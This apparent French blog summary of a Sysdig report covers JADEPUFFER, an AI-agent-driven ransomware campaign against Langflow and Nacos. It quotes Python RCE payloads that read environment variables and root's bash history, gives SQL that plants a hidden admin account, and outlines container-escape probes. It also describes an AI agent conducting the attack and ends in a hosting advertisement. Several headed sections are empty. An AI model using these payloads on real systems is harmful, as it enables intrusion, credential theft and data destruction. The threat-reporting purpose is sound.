En une phrase : Sysdig définit JADEPUFFER comme un Agentic Threat Actor (ATA) — la capacité offensive est délivrée par un agent IA, non par un toolkit manuel. Nouvelle catégorie formelle du rapport.

Chronologie :

Mécanisme pas à pas : l'endpoint valide la syntaxe des nœuds fonction personnalisés via ast.parse() → compile() → exec(), sans authentification ni sandbox. En Python, décorateurs et valeurs par défaut sont évalués à la définition ; l'attaquant place le code malveillant dans les arguments par défaut — lors de la « validation », le code s'exécute déjà. Sans login, un POST HTTP = RCE.

exec('raise Exception(__import__("subprocess").check_output("whoami", shell=True))')
exec('raise Exception(__import__("subprocess").check_output("printenv", shell=True))')
exec('raise Exception(__import__("subprocess").check_output("cat /root/.bash_history", shell=True))')

Trend Micro a documenté ces payloads typiques dans la campagne Flodrix (vague indépendante). Un script Bash de 700 octets télécharge le binaire ELF Flodrix et constitue un botnet DDoS TCP/UDP.

Analyse du patch : Langflow 1.3.0 ajoute _current_user: CurrentActiveUser en injection de dépendance sur post_validate_code ; FastAPI vérifie JWT Bearer ou x-api-key en premier — échec 401/403, la requête n'atteint pas la logique vulnérable.

Phase 1 — hôte Langflow compromis : tous les payloads en Python Base64 via l'endpoint RCE.

Phase 2 — serveur production MySQL + Nacos : Nacos très répandu dans l'écosystème Alibaba ; historique contournement CVE-2021-29441, clé JWT par défaut publique dans la doc depuis 2020, rarement changée.

Injection admin backdoor Nacos — boucle d'auto-réparation 31 secondes (UTC) :

cur.execute('DELETE FROM users WHERE username="xadmin"')
hash_val = bcrypt.hashpw(b'admin123', bcrypt.gensalt(rounds=10)).decode()
cur.execute('INSERT INTO users (username, password, enabled) VALUES ("xadmin", "' + hash_val + '", 1)')
cur.execute('INSERT INTO roles (username, role) VALUES ("xadmin", "ROLE_ADMIN")')

Probes d'évasion conteneur (~8 minutes) : MySQL INTO OUTFILE / LOAD_FILE teste écriture, lecture, /var/run/docker.sock, /proc/1/cgroup, /etc/hostname, élévation UDF via mysql.func. Avant rançon, marqueur _pwn_cleanup.txt — Sysdig : signal structuré d'agent pour phase suivante, pas script fixe.

Chiffrement destructif : les 1 342 entrées de config Nacos chiffrées via AES_ENCRYPT(), suppression config_info et his_config_info, table rançon README_RANSOM. Clé uuid4(), imprimée une fois, jamais stockée — paiement inutile. Note prétend AES-256 ; MySQL utilise AES-128-ECB par défaut.

Destruction massive : DROP DATABASE priorisé par ROI ; commentaire code prétend sauvegarde sur 64.20.53[.]230 — Sysdig sans preuve indépendante. Échec contrainte FK : payload suivant avec SET GLOBAL FOREIGN_KEY_CHECKS=0 — compréhension de l'erreur, pas retry aveugle.

D'après les recommandations Sysdig et les IOC de l'incident, les équipes peuvent agir immédiatement :

Quatre lignes de preuve indépendantes « pilotage LLM » (Sysdig) :

Réaction du secteur : BleepingComputer, Dark Reading parlent de la « première rançon entièrement pilotée par IA » ; CSO Online cite l'expert red team Vibhum Dubey : la « phase silencieuse » avant chiffrement est plus inquiétante — l'agent cartographie l'identité tout en évitant la détection ; chaque intrusion peut différer légèrement. Médias évoquent LLMjacking : credentials volés pour piloter un agent — coût marginal des attaques multi-phases proche de zéro.

Quatre conclusions Sysdig : ① seuil ransomware abaissé au « coût d'exécution d'un agent » ; ② vieilles failles weaponisées automatiquement — parcourir toute l'historique CVE coûte quasi rien ; ③ auto-narration LLM offre surface de détection lisible ; ④ « sauvegarde effectuée » n'est qu'un commentaire code agent, non vérifié.

Alternatives comparées : Langflow/Nacos publics pour prototypes agents remet clés API et topologie aux scanners ; notebook local 7×24 pour agents autonomes complique egress et détection runtime ; orchestration macOS agent en VM viole l'EULA et limite Metal. Pour production agents IA et simulation red team avec CI/CD iOS, root complet, environnement de test isolé et stabilité 7×24, la location cloud Mac Mini M4 dédiée KVMNODE est généralement préférable : matériel physique 100 %, sudo ouvert, flexibilité jour/semaine/mois — workflows agents auditables hors réseau production. Tarifs : page tarifs. JADEPUFFER rappelle : le seuil de compétence = coût d'un agent — serveurs applicatifs publics, centres de config non durcis et admins DB accessibles depuis Internet sont les premières surfaces visées.

Sources : Sysdig « JADEPUFFER: Agentic ransomware for automated database extortion » ; BleepingComputer, Dark Reading, CyberScoop, CSO Online, Security Affairs ; Trend Micro CVE-2025-3248 / Flodrix ; NVD, catalogue CISA KEV.